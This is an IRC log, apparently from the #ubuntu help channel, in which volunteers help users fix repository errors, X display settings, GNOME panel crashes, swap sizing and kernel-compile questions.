[07:16] <jgedeon> emss: Wow you are onto something the how directory is gone.
[07:16] <mataks_> jgedeon, and with the same error says: W: Couldn't make stat source package list blah blah blah.. :(
[07:16] <emss> jgedeon: ?
[07:16] <bur[n] er> corevette, define "safe"
[07:16] <jgedeon> the debian-marillat/ is not hosted there anymore.
[07:16] <bur[n] er> corevette, you can use the ubuntu livecd, mount your installation, and fix it
[07:16] <corevette> bur[n] er i don't want to lose any information
[07:17] <jgedeon> ftp://ftp.nerim.net/
[07:17] <corevette> bur[n] er realy? how would i fix it
[07:17] <corevette> bur[n] er what commands
[07:17] <bur[n] er> corevette, what's hte error?
[07:17] <bur[n] er> heh
[07:17] <Moose> Is there a command to see all directories on all partitions? Also the size of the partition?
[07:17] <twisties> Can anyone explain why my teamspeak microphone output has a loud buzzing?
[07:17] <lotacus> dir --help ?
[07:17] <bur[n] er> Moose, baobab...   or "df -h" to see the drive sizes
[07:17] <corevette> bur[n] er well it just stops loading after a while....recovery mode or not
[07:17] <Moose> Thanks bur[n] er
[07:18] <bur[n] er> Twinxor, cause you're an ar-tard
[07:18] <bur[n] er> corevette, try booting a livecd and looking at your data
[07:18] <bur[n] er> corevette, then see if you can chroot into it
[07:18] <emss> mataks_: I suggest maybe removing the be. from the repositories and just leaving http://archive.ubuntu.com/ubuntu etc.
[07:18] <jgedeon> mataks_: Looks like you should comment out ftp://ftp.nerim.net/* entery that is in your source list.
[07:18] <WJ> if users A and B connect to wfi AP X, which uses WPA2 or WEP, can user B capture data from A and decrypt it easily?
[07:18] <bur[n] er> corevette, you try all your different kernels?  maybe an older one works?
[07:19] <corevette> different kernels...
[07:19] <corevette> i'm beginner/intermediate with linux bur[n] er
[07:19] <twisties> Hi, im using a 386 kernel on an amd64 proccy and im kinda new to this linux game ;) Can anyone talk me through upgrading to a 64 kernel?
[07:19] <emss> mataks_: have you run aptitude update, or apt-get update?
[07:20] <lotacus> anyone know how to get adobe flash 9 installed correctly in 64bit?
[07:20] <bur[n] er> corevette, in that case, just get your important stuff off the hard drive to some other storage media, then reinstall and replace all your data ;)  might be easier
[07:20] <corevette> ok
[07:21] <jack_> anyone know how to fix the music player thing on myspace for ubuntu it plays the music.. usually.. but doesnt show the song info
[07:21] <bur[n] er> jack_, get flash 9
[07:21] <jack_> k
[07:21] <Moose> Alright so I have two containers on my server, with one partition on each.. How can I access the partition that the OS is not installed on?
[07:22] <sutabi> if I edit my .bashrc how do I apply what I added?
[07:23] <mataks_> help pls.
[07:23] <emss> sutabi: source .bashrc
[07:23] <jgedeon> I'm running mataks_'s source list now.
[07:23] <mneptok> sutabi: new session or x session
[07:24] <jgedeon> Boy are some of the servers out there slow tonight.
[07:24] <Lurner> I just installed the samba control applet and I need to configure it.. but it tells me I must be logged in as root..
[07:25] <Lurner> so I tried to switch users to log in as    root   but the system told me the system admin can't log in at this screen
[07:25] <Lurner> how do I run as the admin in X
[07:26] <mataks_> jgedeon, can you help me now.. i got dc.. errr
[07:26] <superman> Hey guys?
[07:26] <superman> HEY GUYS
[07:27] <jgedeon> mataks_: I'm doing some testing with your sourcelist to see some things.
[07:28] <ssjgolleta_> how do you add a user to the sudo group from command line?
[07:28] <jgedeon> mataks_: so far there are two errors with domains or server.
[07:29] <superman> HEY GUYS
[07:29] <phrowzen> hey
[07:29] <superman> ANSWER ME
[07:29] <ssjgolleta_> hey
[07:29] <superman> HEY YOU
[07:29] <superman> YEAH YOU
[07:29] <superman> Hi
[07:29] <ssjgolleta_> what?
[07:29] <mataks_> jgedeon, ok then how can i run the update successfully?
[07:30] <superman> What's 2 subtracted from 5?
[07:30] <phrowzen> does anyone know why when my system boots, i get the normal rumble sound as the login prompt comes up. but when i login, i dont get the startup noise anymore? xmms is playing my mp3s ok.. gmplayer is complaining about some stuff.. and alsamixer says  alsamixer: function snd_ctl_open failed for default: No such device -- whats up?
[07:30] <joe-brb> adaptr: You still here?
[07:30] <superman> GUYS
[07:30] <superman> WHAT'S 2 SUBTRACTED FROM 5?
[07:31] <ssjgolleta_> why are you asking that
[07:31] <mneptok> superman: please stop
[07:31] <phrowzen> anyone?
[07:31] <superman> OUR LIVES DEPEND ON IT
[07:31] <superman> JUST ANSWER ME NOW!
[07:31] <Lurner> I just installed the samba control applet and I need to configure it.. but it tells me I must be logged in as root..
[07:31] <Lurner> so I tried to switch users to log in as    root   but the system told me the system admin can't log in at this screen
[07:31] <Lurner> how do I run as the admin in X
[07:31] <superman> :(
[07:32] <bur[n] er> phrowzen, check your "system -> prefs -> sound"  "sounds" tab
[07:32] <phrowzen> ya i have
[07:32] <superman> Hey guys.
[07:32] <superman> I have a question.
[07:32] <emss> ssjgolleta_: edit /etc/group
[07:32] <jgedeon> mataks_: if you remove the be.  from where it's listed and comment out the ftp://ftp* and the mirrormax server you will be fine.
[07:32] <phrowzen> bur[n] er, login set to login, logout set to logout.. i hit the play button beside it and nothing happens
[07:32] <superman> I SAID I HAVE A QUESTION
[07:32] <bur[n] er> phrowzen, reset the audio files?  I dunno
[07:32] <mataks_> jgedeon, ok i'll try
[07:32] <phrowzen> bur[n] er, what do you mean reset audio files
[07:33] <bur[n] er> !ops
[07:33] <ubotu> Help! Mez, LjL, elkbuntu, imbrandon, DBO, gnomefreak, Hobbsee, rob, ompaul, Madpilot, Burgundavia, Seveas, CarlK, crimsun, ajmitch, tritium, Nalioth, thoreauputic, apokryphos or tonyyarusso
[07:33] <mneptok> bur[n] er: ?
[07:33] <Madpilot> ??
[07:33] <mataks_> jgedeon, all the be? with a the dot? like "be."
[07:33] <bur[n] er> oh right... just wanted to point to superman, but see that mneptok already was on top of things
[07:33] <n2diy> superman, all you have is an attitude.
[07:33] <jgedeon> mataks_: yes the lines that are not commented out remove the be. from the line.
[07:34] <mneptok> n2diy: 01:32 -!- superman [n=hey@ool-44c66581.dyn.optonline.net]  has left #ubuntu [] 
[07:34] <emss> ssjgolleta_: vigr and add the user to group "admin", on command line type: man 5 group, to learn more
[07:34] <jgedeon> Hmmm.. Can't paste in pastebin..  Says that java isn't enabled.
[07:34] <n2diy> mneptok: oh well.
[07:34] <mataks_> jgedeon, ok done.. just for the not commented ayt?
[07:34] <ssjgolleta_> thx
[07:34] <emss> jgedeon: I mentioned to do that a while ago :)
[07:35] <jgedeon> emss: yes I seen that.
[07:35] <jgedeon> Now what about the other two servers mataks_?
[07:35] <emss> !openoffice
[07:35] <ubotu> a free and open source office suite, including word processor, spreadsheet, presentation, vector drawing and database components.  To install: "sudo apt-get install openoffice.org". User help available in #users.openoffice.org
[07:35] <mataks_> jgedeon, which server?
[07:35] <emss> is there openoffice 2.1 available for edgy?
[07:36] <jgedeon> mataks_: comment out deb http://ubuntu-backports.mirrormax.net/ breezy-extras main  and  deb ftp://ftp.nerim.net/debian-marillat/ etch main  Both are bad.
[07:37] <mataks_> jgedeon, ok thnx.. :) im trying to udpate it now.. let's see if the error is still there
[07:37] <pebblestone> when I do "fakeroot dpkg-buildpackage -uc -us" I got an error "/bin/bash: dh_testdir: command not found". and there seems no package named "build-dep" in Ubuntu. What should I install for me to build debian packages?
[07:37] <jgedeon> No problem.  You do have some that you might want to enable in there.
[07:37] <aliasd> heyas, i need to change a control file in a debian package to support a change in dependency, whats the easiest way to do this?
[07:38] <pebblestone> I'm using Ubuntu Edgy Server version
[07:38] <eternalswd> I'm having a strange problem.  I built the latest amarok stable because I wanted --disable-amazon  I'm on gnome and it runs fine if I start it from gnome-terminal.  I cd to where I put it /opt/amarok/bin.  and then run ./amarokapp  It works beautifully.  I tried to make a launch icon and set it to run /opt/amarok/bin/amarokapp but when I start amarok this way, lib-xine fails to load
[07:38] <mataks_> jgedeon, like what?
[07:38] <mzuverink> My notebook has an intel i915 vid card, and I have been reading about beryl and compiz.  Does anyone have any tips to installing either and or any recommendations of one over the other?
[07:39] <jgedeon> mataks_: restricted and multiverse
[07:39] <yoshiznit123> !shout | superman
[07:39] <ubotu> superman: PLEASE DON'T SHOUT! We can read lowercase too.
[07:39] <mataks_> jgedeon, ok
[07:40] <malt> anyone here use tor with ubuntu?
[07:40] <jgedeon> mzuverink: my tip is you will get bored with it pretty quick..  I know I did.
[07:40] <noiesmo> mzuverink, check this page you should find a howto http://wiki.beryl-project.org/wiki/Main_Page
[07:40] <mneptok> eternalswd: an easy workaround would be to create a shell script that cd's to /opt/amarok/bin and then calls amarokapp
[07:41] <mzuverink> jgedeon, thanks
[07:41] <mzuverink> noiesmo, reading it now
[07:41] <mneptok> eternalswd: (pointing the launcher to the script)
[07:41] <aliasd> how do i rebuild a deb if all i have to begin with is the deb? if i use ar to extract and replace the files, dpkg doesnt recognise it anymore?!
[07:41] <jgedeon> mataks_: Is it running clean now?
[07:41] <eternalswd> mneptok,  I already tried that and put the script at /opt/amarok/bin/amarokstart and called that with the same result.
[07:41] <ijbgreen> anybody can help me
[07:42] <ijbgreen> why the error appears extension "GLX" missing on display ":0.0".
[07:42] <jgedeon> ijbgreen: just post what you need help with.
[07:42] <cableroy_> hi, i have beryl in gnome-session but i have some problems with it now so i can't disable it because X wont load correctly, how can i stop it from starting?
[07:42] <mataks_> jgedeon, not yet.. still updating . . the connection is bad
[07:42] <jgedeon> UGH more beryl problems.
[07:42] <eternalswd> mneptok, that's why I am confused and in need of assistance
[07:43] <jgedeon> mataks_: Oh ok..  you might have to run twice..  I did when I recopied my normal list.
[07:43] <cableroy_> jgedeon well its not beryl i think, but i choose COW compiz and now its screwed so i need to get back to metacity
[07:43] <eiftoe> hello
[07:44] <emss> cableroy_: x won't start correctly?
[07:44] <eiftoe> how do i change mine graphical size from my root? cause it says "out of range" when iam trying to login into my X
[07:44] <cableroy_> i just need to know where gnome puts the gnome-session
[07:44] <jgedeon> cableroy_: I wasn't trying to really point anything.  Just been seeing alot of people having problems with the two.
[07:44] <cableroy_> ya, i just tried it to have tried it...
[07:44] <mataks_> jgedeon, ok thnx a lot hope this will fix the problem.. there's one thing..  about this error "Err http://security.ubuntu.com breezy-security/main Packages Sub-process gzip returned an error code (1)" how to fix this one also?
[07:45] <ijbgreen> wen i try to execute quake3 the console shows the error
[07:45] <eiftoe> how do i change mine graphical size from my root? cause it says "out of range" when iam trying to login into my X
[07:45] <jgedeon> mataks_: try running update a second time it might clear it.
[07:45] <mataks_> jgedeon, ok
[07:45] <ijbgreen> in my xorg.conf is configured whit LOAD glx and dri
[07:45] <emss> cableroy_: ~/.gnome2/session ?
[07:45] <jgedeon> eiftoe: did you change monitors lately?
[07:45] <emss> cableroy_: but why does X not work correctly, no window manager?
[07:46] <eiftoe> no jgedeon, i just installed ubuntu
[07:46] <eiftoe> but i dont know ect how to change from 1600x1200 to 800x600
[07:46] <jgedeon> eiftoe: are you running a CRT monitor or a flat panel?
[07:46] <cableroy_> emss i'll check again
[07:46] <eiftoe> CRT
[07:46] <ijbgreen> help me
[07:46] <ijbgreen> please
[07:46] <jgedeon> eiftoe: what model and make of CRT?
[07:47] <ciscosurfer> Hola!
[07:47] <eiftoe> "Compaq" Trinitron P1100
[07:47] <eiftoe> jgedeon: does it says anything>
[07:47] <jgedeon> eiftoe: ok BRB going to see if I can find your monitor specs so we can see if your xorg.conf has them set right.
[07:47] <eiftoe> thx jgedeon
[07:48] <ssjgolleta_> i had the smae problem ijbgreen, i upgraded from 6.06 to  6.10 and i could not get direct 3d to work ever
[07:48] <ssjgolleta_> so wiped my puter and installed 6.10 from scratch
[07:48] <ssjgolleta_> worked like a charm right after install
[07:49] <cableroy_> emss yes, and i get this error I've detected a panel already running. and will now exit
[07:49] <jgedeon> eiftoe: can you nano /etc/X11/xorg.conf
[07:49] <ijbgreen> realy?
[07:49] <eternalswd> mneptok, ok, I figured it out.  I had to uninstall amarok from synaptic because it was trying to load /usr/lib/kde3/amarok_xine-engine.so rather than /opt/amarok/lib/kde3/amarok_xine-engine.so
[07:49] <emss> cableroy_: ah easy
[07:49] <eiftoe> ok jgedeon , could you read my pm?
[07:49] <emss> cableroy_: go into console and type: pkill gnome-terminal
[07:49] <eiftoe> cause i have to write down things on a paper
[07:49] <jgedeon> eiftoe: no I didn't get it.  Is your nick registered?
[07:49] <emss> emss: leave gnome running just use Ctrl+Alt+F1 etc.
[07:49] <eiftoe> jgedeon: wait
[07:49] <emss> oops
[07:50] <ijbgreen> maybe its a drive issue?
[07:50] <emss> cableroy_: leave gnome running just use Ctrl+Alt+F1 etc.
[07:50] <cableroy_> ya emss did taht, black screen and only mouse
[07:51] <emss> cableroy_ you typed pkill gnome-panel ?
[07:51] <cableroy_> ah, u wrote -terminal
[07:51] <emss> cableroy_: yes, mistake :\
[07:51] <emss> :(
[07:51] <eifzon> jgedeon: does it work now?
[07:51] <ijbgreen> segmentation fault
[07:51] <jgedeon> eifzon: in your /etc/X11/xorg.conf you want to look for the section that says Section "Monitor" and then for HorizSync it should read 30-121 and for VertRefresh it should read 50-160
[07:52] <ijbgreen> is the next message
[07:52] <cableroy_> emss hehe np, but i did panel also still black
[07:52] <eifzon> jgedeon: but what should i write first? nano /etc/X11/xorg.conf ?
[07:52] <emss> cableroy_: try restarting gnome
[07:53] <jgedeon> To edit it you would go into terminal and type sudo nano /etc/X11/xorg.conf
[07:53] <eifzon> ok
[07:53] <ciscosurfer> Anyone know the name of the Feisty channel?  (I'm assuming there is one...a devel channel maybe?)
[07:53] <jgedeon> Then use the arrow keys to go down to the proper section/.
[07:54] <jgedeon> ciscosurfer: somehting like #ubuntu-devel?
[07:54] <ciscosurfer> jgedeon: yeah...something like that...i thought i saw a channel for Feisty listed on the Forums...brb
[07:54] <cableroy_> emss no black screen, but onlt ubuntu's background
[07:54] <varsendaggr> how do i play files from the itunes store with ubuntu....?
[07:55] <emss> cableroy_: no panels or anything?
[07:55] <varsendaggr> in the wiki it says it is supported in the multiverse
[07:55] <eifzon> how do i create a user on my ubuntu, if iam as root
[07:55] <cableroy_> emss nope. tried alt+F2 to maybe run a command, but nothing
[07:56] <jgedeon> You can either use gui or cli depends what you are comfortable with.
[07:56] <hendrickvp> can some one tell me why I can't install the php5-imagick package?
[07:56] <eifzon> jgedeon: do you know how to create a user?
[07:56] <emss> cableroy_: open up gnome-terminal and run gnome-panel from there, maybe it will print some messages, and also see if gnome-panel is already running
[07:56] <ciscosurfer> jgedeon: got it....
[07:57] <ciscosurfer> jgedeon: #ubuntu+1
[07:57] <riotkittie> i have to kill gnome-panel almost everytime i log in lately
[07:57] <steelb> Man, I messed up my ubuntu this time. I just installed the gui for hamachi, and I run it and x serv shuts down and when i try to start it from the command prompt i get the error: failed to load module "wfb" and the fatal error: cannot open '/lib/modules/2.6.17-10-generic/volatile/nvidia.ko' it doesnt exist. Any help?
[07:58] <MrOregon> huzzah my webcam which is supposed to be windows only works with Ubuntu!!
[07:58] <riotkittie> i wish i could get my cam to work. which reminds me, i should give compiling the driver a go again
[07:59] <tweek> this might be a stupid question, but since when does shift + backspace kill X?
[07:59] <cableroy_> i don't know if this is correct, but DISPLAY=0:0 gnome-terminal, switching back to gnome and the screen is black, gnome-panel is running
[07:59] <jgedeon> Since the begining.
[07:59] <arrenlex> tweek: It doesn't. That's ctrl+alt+bksp.
[07:59] <arrenlex> tweek: Or isn't supposed to.
[07:59] <riotkittie> tweek: i wasnt aware they did :P
[07:59] <MrOregon> you must have hit control backspace
[07:59] <tweek> it does on mine now
[07:59] <emss> cableroy_: it's DISPLAY=:0
[07:59] <tweek> ever since i dropped in XGL
[08:00] <Maric> allo all
[08:00] <emss> cableroy_: or do you have multiple screens?
[08:00] <emss> cableroy_: well it probably doesn't matter sorry I'm not sure :(
[08:00] <MrOregon> will xgl eventually be integrated into ubuntu?
[08:00] <Maric> oops brb
[08:00] <MrOregon> OR will there eventually be a XGL installer for ubuntu so you don't have to go through the long process of installing XGL?
[08:01] <tweek> MrOregon: its a 3 minute process
[08:01] <cableroy_> emss ok, thanks anyway :)
[08:01] <makuseru> mroregon: AIGLX on edgy is super easy
[08:01] <cableroy_> even gnome safemode does not work
[08:01] <emss> cableroy_: in console try running DISPLAY=:0 metacity
[08:01] <tweek> shift backspace should not kill x but it does for me now.
[08:01] <MrOregon> ok
[08:01] <MrOregon> send me a link to AXGL
[08:01] <tweek> its supposed to be ctrl shift backspace
[08:01] <MrOregon> and the three minute process
[08:01] <tweek> ok
[08:01] <hendrickvp> can some one help me with an imagick problem?
[08:02] <tweek> http://wiki.beryl-project.org/index.php/Install/Ubuntu/Edgy/XGL
[08:02] <pathway> quick question: does Ubuntu have a gui configuration tool for wireless networking?
[08:02] <cableroy_> emss nice, you did it :) thank you :)
[08:02] <bur[n] er> pathway, Network Manager
[08:02] <emss> cableroy_: System -> Preferences -> Sessions in gnome
[08:02] <tweek> ps i found why shift backspace is a problem xmodmap -e "keycode 22 = BackSpace BackSpace Terminate_Server"
[08:02] <emss> cableroy_: I am new with gnome too
[08:02] <eifzon> jgedeon: hi again
[08:03] <cableroy_> emss yup :)
[08:03] <tweek> http://ubuntuforums.org/showthread.php?t=186714   seriously, WTF kind of feature is shift backspace being a way to kill a gui heh
[08:03] <Maric> ahh, back
[08:03] <maddash> does anyone here have a problem with icewm's ctrl+alt+d? specifically, it fails to restore all windows after minimizing them?
[08:03] <jgedeon> eifzon: hey there
[08:03] <maddash> the problem seems to be ubuntu specific...
[08:03] <eifzon> jgedeon: i still got the problem
[08:03] <Maric> anyone up to answering a kernel compile question or two?
[08:03] <hendrickvp> does anyone here know why I can't get php5-imagick to install?
[08:04] <jgedeon> eifzon: did you restart gnome?
[08:05] <eifzon> how to do that? :P
[08:06] <Maric> any one up to answering a few basic questions?
[08:06] <mneptok> Maric: like that one?
[08:06] <hendrickvp> CAN SOMEONE HELP ME WITH PHP5-IMAGICK?
[08:06] <arrenlex> !caps | hendrickvp
[08:06] <ubotu> hendrickvp: PLEASE DON'T SHOUT! We can read lowercase too.
[08:07] <zoexi1> hello, having problems installing.  I am using gparted to reduce the only partition on my harddrive (connected via usb) by 2G to make room for swap.  It has been sitting for half an hour now, and no progress, when I tried to cancel, it warned me of file system damage.  what to do?
[08:08] <Maric> I am trying to figure out if the instrucions I followed for a kernel compile are complete or if there are additional steps
[08:10] <Maric> I used the instructions I found on help.ubuntu.com/community/Kernel/Compile
[08:10] <kinjo> hello all please take a look at this screenshot
[08:10] <kinjo> http://img463.imageshack.us/my.php?image=screenshothw0.png
[08:11] <ciscosurfer> zoexil: use the GParted Live CD instead >> http://gparted.sourceforge.net/livecd.php
[08:11] <Spinnaker> sudo apt-get install PHP5-IMAGICK
[08:11] <Spinnaker> =D
[08:11] <ciscosurfer> zoexi1: use the GParted Live CD instead >> http://gparted.sourceforge.net/livecd.php
[08:11] <riotkittie> php5-imagick isnt in the dapper repos
[08:11] <kinjo> i am trying to install wine tools...after i compiled the source...and run wt i dont get any text on the bottons...
[08:11] <riotkittie> php4-imagick, but no 5
[08:12] <eifzon> jgedeon: heloo
[08:12] <hendrickvp> riotkittie: so do Install php4 too then?
[08:12] <mataks__> jgedeon, i still got the error.. :(
[08:13] <corevette> i just tried booting off the live cd...and the loading process gets stuck during the logo screen
[08:13] <ciscosurfer> corevette: the Edgy live CD??
[08:13] <corevette> yes ciscosurfer
[08:13] <riotkittie> hendrickvp: being completely unfamiliar with php on any level, i dont know
[08:14] <corevette> hendrickvp need help with php?
[08:14] <Maric__> sorry about that needed to fix an issue with my irc client
[08:14] <hendrickvp> corevette: yes, very much so
[08:14] <ciscosurfer> corevette: how long did you give it??  sometimes the video can get jumbled and look like it has stopped, when it really hasn't...additionally, sometimes you have to hit some keys or move your mouse to get the monitor back up (sometimes this happens also)
[08:15] <zoexi1> ciscosurfer: hmm, what do you know, it finished on its own accord....   I don't have the ability to burn more cds right now, or I would try it... do you know, is there a way to move a partition?  I go to resize/move and the "free space preceeding" option is greyed out...
[08:15] <corevette> ciscosurfer i let it sit there for about 3 minutes
[08:15] <mataks___> jgedeon, i still got the error :(
[08:15] <hendrickvp> corevette: I need some help with PHP and imagick
[08:15] <corevette> hendrickvp i would help...but i have to fix my linux kernel right now
[08:15] <ciscosurfer> corevette: have you tried burning a new disc?
[08:15] <kinjo> could some one  please take a look at this screenshot
[08:16] <kinjo> http://img463.imageshack.us/my.php?image=screenshothw0.png
[08:16] <eifzon> what can i do if i got a 'out of scan range' error when iam trying to access my X?
[08:16] <riotkittie> logo as in boot ?
[08:16] <corevette> ciscosurfer no...should i try?
[08:16] <ciscosurfer> zoexil: sometimes you have to completely erase partitions to get them to move...i know, i know...
[08:16] <corevette> ciscosurfer or should i let it try to load
[08:16] <kinjo> how do i get the text to appear on hte buttons...
[08:16] <hendrickvp> is anyone here familiar with PHP and Imagick?
[08:17] <ciscosurfer> corevetter: I would try the disc you have again, give it some time, be patient, do the suggestions I listed above, and if that doesn't work, then try burning a new disc, checksum the disc and try loading from the new one
[08:17] <corevette> checksum? ciscosurfer
[08:17] <riotkittie>  i tried the edgy live disc, and then decided i hated myself to pop it in again. i was going to install to the hd... but
[08:17] <Maric__> can anyone tell me if the kernel compile instructions on the ubuntu community web page is complete?
[08:17] <ciscosurfer> zoexil: if you've got other partitions before the partition you are trying to move, it won't let you do that
[08:17] <riotkittie> it took at least 20 minutes from boot to desktop. hehe. even i am not that masochistic
[08:18] <eifzon> but when i have done the apt-get install how shall i do then?>
[08:18] <eifzon> sry, wrong paste..
[08:18] <ciscosurfer> corevetter: checksum >> A method of providing information for error detection, usually calculated by summing a set of values. The checksum is usually appended to the end of the data that it is calculated from, so that data and checksum can be compared.
[08:19] <ciscosurfer> corevette: it's a good idea to this before you boot up from the disc, however, there's also an option on the boot menu of the live disc to actually do this as well
[08:19] <corevette> ciscosurfer and it failed to do that too
[08:19] <ciscosurfer> corevette: from a terminal, you can enter in     md5sum <thenameofthedisc>   and then compare that sum with the md5 of the disc from whereever you downloaded it from
[08:20] <ciscosurfer> corevette: it failed to check the disc on the boot menu?
[08:20] <corevette> let me try what you told me to do ciscosurfer
[08:20] <corevette> ciscosurfer i tried the 'check contents of disk option'
[08:20] <ciscosurfer> corevette: ...if the disc check on the boot menu doesn't work, then I would suggest burning a new disc
[08:21] <Maric__> well, I'll stop by annother time then, looks like you all are very busy
[08:21] <ciscosurfer> Maric__: what's up?
[08:21] <Maric__> oh
[08:21] <ciscosurfer> Maric__: something about kernel compilation?
[08:22] <Maric__> I just want to make sure I have all my efts (read ducks) in a row
[08:22] <kane77> how do I make a networking device default?
[08:22] <Maric__> ya I used the instructions on the community website to do this
[08:22] <Maric__> I just want to know if there is something special I have to do for modules etc
[08:22] <MrOregon> I got XGL up and running!
[08:22] <tweek> im still shocked that someone put a feature of Shift + backspace = kill X
[08:22] <ciscosurfer> Maric__: kernel compilation can be very tricky...which thread are you referring to?
[08:22] <tweek> MrOregon:
[08:23] <Maric__> grates Mr. O
[08:23] <tweek> MrOregon: xmodmap -e "keycode 22 = BackSpace"
[08:23] <Maric__> it is at: help.ubuntu.com/community/Kernel/Compile
[08:23] <tweek> make sure to use that before starting X otherwise you will have lots of fun
[08:23] <ciscosurfer> Maric__: okay...let me find you a thorough thread...brb
[08:24] <Maric__> that is not a good one?
[08:24] <tweek> how do you like XGL, i got it running last night, the beryl stuff is pretty fun though :)
[08:25] <Maric__> XGL/beryl is next on my list after kernel and wifi
[08:25] <tweek> http://ubuntuforums.org/showthread.php?t=186714
[08:25] <cheatersrealm> is nvidia-glx really 'broken' ?
[08:25] <hendrickvp> FYI for you all a good newb resource for folks like my self that need imagick in 6.06 -> http://www.ducea.com/2006/12/21/install-imagemagick-557-on-debian/
[08:25] <cheatersrealm> (edgy)
[08:25] <tweek> use that link after you use this link:L   http://wiki.beryl-project.org/index.php/Install/Ubuntu/Edgy/XGL
[08:26] <tweek> Maric__: it will literally take you 5 minutes of interaction if that, and you will ahve it running
[08:26] <tweek> just copy and paste and thats it
[08:26] <Maric__> nice tweek thanks
[08:26] <ciscosurfer> Maric__: go here and then on the right side look for "search this Forom", choose threads, and type in kernel...there are many, many threads that should help you out and address your questions about modules, etc. >> http://ubuntuforums.org/forumdisplay.php?f=100
[08:27] <tweek> i installed it last night from an existing system with an old matrox card (newer upgraded nvidia i got from newegg now) and it was up and running smoothly in between getting home from work and sitting down for dinner
[08:27] <ciscosurfer> Maric__: forum
[08:27] <Maric__> thank you cisco
[08:28] <ciscosurfer> Maric__: sure, any time
[08:28] <ciscosurfer> :-)
[08:28] <Maric__> I'll hit that up pretty soon
[08:28] <riotkittie> ooh that reminds me. i need to find a thread on cloning between laptop and crt
[08:28] <Maric__> is the rescource I used ok or is it not a good one?
[08:29] <deoryp> could i ask help from someone to get a java runtime enviroment working? I installed the -plugin and ran the --config java but firefox is not linking to the plugin
[08:29] <tweek> anyone try XGL on an intel gma based laptop?
[08:29] <tweek> deoryp: i had this issue too, let me find the help page that i used to fix taht
[08:29] <Maric> I cant wait till I get my cert then my laptop is going on ubuntu as well
[08:29] <kraut> moin
[08:29] <deoryp> tweek thanks
[08:30] <riotkittie> i cant wait until i get a new laptop ;p
[08:30] <tweek> i cant wait till march when my boss buys me a dell XPS
[08:30] <corevette> when i try to burn the ubuntu live cd for edgy, it stops at 86%
[08:30] <tweek> the 12 inch thin lapto
[08:30] <tweek> hehe
[08:30] <tweek> and ill immediatly reinstall a clean copy of XP + ubuntu
[08:31] <mataks_-> jgedeon, i still got the error :(
[08:33] <eifzon> mataks_-, whats wrong?
[08:33] <mataks_-> eifzon,  i've got error when i do "sudo ap-get update" .
[08:34] <tweek> Maric: http://wiki.beryl-project.org/index.php/Install/Ubuntu/Edgy/XGL
[08:34] <mataks_-> !paste
[08:34] <ubotu> paste is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (be sure to give the URL of your paste)
[08:34] <eifzon> what error?
[08:34] <tweek> er maric http://ubuntuforums.org/showthread.php?t=330222
[08:34] <tweek> there we go that link
[08:34] <japr> hello, I'm going to install ubuntu on a laptop with 2GB RAM. What size shall I assign to the swap partition?
[08:34] <mataks_-> wait i'll show you on pastebin
[08:35] <mataks_-> eifzon, here http://paste.ubuntu-nl.org/1274/
[08:35] <Maric> thank you tweek
[08:35] <ciscosurfer> japr: do you think you'll exceed your 2GB of RAM very easily?  I would set it to maybe 256 MB or 512 MB if you feel like you'll need it
[08:36] <eifzon> mataks_-, just write: apt-get update as it says? )
[08:37] <eifzon> you dont have to write "sudo" when you are as root
[08:37] <mataks_-> eifzon,  yea i just write apt-get update and the same error everytime...
[08:37] <japr> ciscosurfer I don't really know how the programs use the RAM. I do know that I bought the laptop to use celestia, a 3D Universe simulator, that uses openGL with textures >200MB
[08:37] <mataks_-> eifzon, i tried that also it's just the same error
[08:37] <eifzon> very wierd :S
[08:38] <Maric> the swap partition recommendation in the debian install guide said aprox 2*ram
[08:38] <Maric> but they may be going a bit on the conservative side
[08:38] <japr> Maric, true, I knew that, but a 4GB swap partition? o_O
[08:39] <mataks_-> eifzon, what you think could be the problem?
[08:39] <Maric> I know eek
[08:39] <jordo23> un_operateur: You around?
[08:39] <Maric> leme check my books a sec
[08:39] <ciscosurfer> japr: if you've got the space on your drive, you can set it much higher if you'd like...I hardly ever hit mine (if ever) and I've got 1.5GB of RAM...i think my swap is set very high...like 2GB...i'm crazy that way :O)
[08:39] <eifzon> mataks_-, sry i have no idea :(
[08:39] <noobcook> !paste
[08:39] <ubotu> paste is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (be sure to give the URL of your paste)
[08:40] <noobcook> lol
[08:40] <noobcook> check this weird 1
[08:40] <noobcook> http://paste.ubuntu-nl.org/1275/
[08:40] <japr> And I would like that ubuntu used the RAM instead of the swap. Is he clever? Does he only use the swap when the RAM is full? I'm asking this because I made a test install with auto partitioning in the said laptop and I would hear the HD spinning a bit to much (at least comparing to other OSs)
[08:41] <ciscosurfer> noobcook: can you pastebin your entire xorg.conf ??
[08:41] <mataks_-> who's using breezy here? anyone?
[08:41] <noobcook> sure 1 sec
[08:41] <Maric> my copy of running linux says no more than 2gb for reasons it does not go into (pg 166)
[08:42] <ciscosurfer> mataks_: you should upgrade my friend
[08:42] <noobcook> ciscosurfer: http://paste.ubuntu-nl.org/1276/
[08:42] <japr> ok, thank you :}
[08:42] <ciscosurfer> noobcook: looking
[08:43] <Maric> I think you might get away with 1GB with 2GB ram
[08:43] <ciscosurfer> japr: set it to at least 512 MB if you're concerned....and if you're really concerned, set it highter
[08:43] <ciscosurfer> higher
[08:43] <mataks_-> ciscosurfer, yeah i want to but i have problem updating my source.list
[08:43] <ciscosurfer> mataks_: download a new ISO, burn it, use it
[08:44] <Maric> do kernel compiles usually take a long time to complete?
[08:44] <BHSPitLappy> :)
[08:44] <BHSPitLappy> Maric, hehe
[08:45] <kinjo> hey can any help me please i am sure its a small problem....
[08:45] <ciscosurfer> noobcook: looks like you copied those last two lines from another resource ...if you look closely, the quote type is different from what is found in the rest of the file...replace those quotation marks with the ones just preceding it...understand?
[08:45] <BHSPitLappy> just ask your question, as always kinjo
[08:45] <japr> I wiil, thanks. I'm really excited about GNU GPL and changing to Linux. I feel I lost 8 years of my life using proprietary software. I really believe that this philosohy of community and cooperation has the potential to change the world.
[08:45] <ciscosurfer> Maric: depends on how fast your computer is :o)
[08:45] <noobcook> ciscosurfer: wow nice pickup thanks
[08:45] <Saturisation> hello all, what's the proper way to set up a network between to UBUNTU pc's (it seems to be rare...)
[08:45] <Maric> all
[08:45] <kinjo> BHSPitLappy, asked it like 5 times before...
[08:45] <ciscosurfer> noobcook: sure
[08:45] <Maric> what is the question kinfo?
[08:46] <Maric> er kinjo I mean
[08:46] <kinjo> requests some to take a look at the following screene  http://img463.imageshack.us/my.php?image=screenshothw0.png i am able to see any text on the buttons...i am experiencong the same problem even with xmmms player
